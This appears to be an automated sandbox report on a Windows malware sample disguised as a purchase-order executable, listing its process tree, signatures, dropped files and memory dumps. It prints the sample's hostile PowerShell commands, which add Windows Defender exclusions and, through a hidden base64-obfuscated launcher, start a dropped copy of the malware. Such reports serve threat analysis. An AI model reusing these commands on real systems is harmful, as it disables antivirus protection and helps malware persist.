Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 04:26

General

  • Target
    PURCHASE ORDER AUGUST ARCHIVED FOLDERS.exe
  • Size 3.6MB
  • Sample260825-e2w1kssxex
  • SHA256 7202770bc8a8197b7e26419397a72ca05651539d535da0b1c08a350cdbdb8335
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER AUGUST ARCHIVED FOLDERS.exe
    "C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER AUGUST ARCHIVED FOLDERS.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3848
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER AUGUST ARCHIVED FOLDERS.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2856
    • C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER AUGUST ARCHIVED FOLDERS.exe
      "C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER AUGUST ARCHIVED FOLDERS.exe"
      2⤵
        PID:4648
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$uuxllz=$env:COMPUTERNAME;$x5de3z=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$zu5f3v=Get-Date;$oyyuel=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGtILmV4ZQ==')));$uuxllz=$env:COMPUTERNAME;& $x5de3z -FilePath $oyyuel"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2228
      • C:\Users\Admin\AppData\Roaming\kH.exe
        "C:\Users\Admin\AppData\Roaming\kH.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1508
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\kH.exe"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5660
        • C:\Users\Admin\AppData\Roaming\kH.exe
          C:\Users\Admin\AppData\Roaming\kH.exe
          3⤵
          • Executes dropped EXE
          PID:5316

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 144598ea87965a833e5c847b0c3725dee5fd45304ea32c04cc6080f73f537503
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_5p5nd2pt.2hc.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5p5nd2pt.2hc.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          kH.exe

          • Path C:\Users\Admin\AppData\Roaming\kH.exe
          • Size 3.6MB
          • SHA256 7202770bc8a8197b7e26419397a72ca05651539d535da0b1c08a350cdbdb8335
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1508-51-0x000001E024070000-0x000001E024092000-memory.dmp

          memory/2856-35-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-40-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-52-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-50-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-46-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-44-0x0000027145100000-0x000002714510A000-memory.dmp

          memory/2856-38-0x0000027145160000-0x000002714517E000-memory.dmp

          memory/2856-27-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-39-0x00000271455B0000-0x0000027145662000-memory.dmp

          memory/2856-31-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-34-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-32-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-30-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-29-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-23-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-28-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-25-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-26-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/2856-24-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-7-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-15-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-19-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-18-0x00000207DB3C0000-0x00000207DB6BC000-memory.dmp

          memory/3848-17-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-16-0x00000207D8530000-0x00000207D8552000-memory.dmp

          memory/3848-20-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-6-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-14-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-13-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-5-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-1-0x00000207BDB50000-0x00000207BDEE4000-memory.dmp

          memory/3848-9-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-12-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-10-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-4-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-41-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-8-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-3-0x00000207D8470000-0x00000207D8492000-memory.dmp

          memory/3848-2-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-11-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

          memory/3848-0-0x00007FFE9AF1F000-0x00007FFE9AF20000-memory.dmp

          memory/4648-33-0x0000000140000000-0x000000014025C000-memory.dmp

          memory/5660-60-0x000001FDE5CA0000-0x000001FDE5D52000-memory.dmp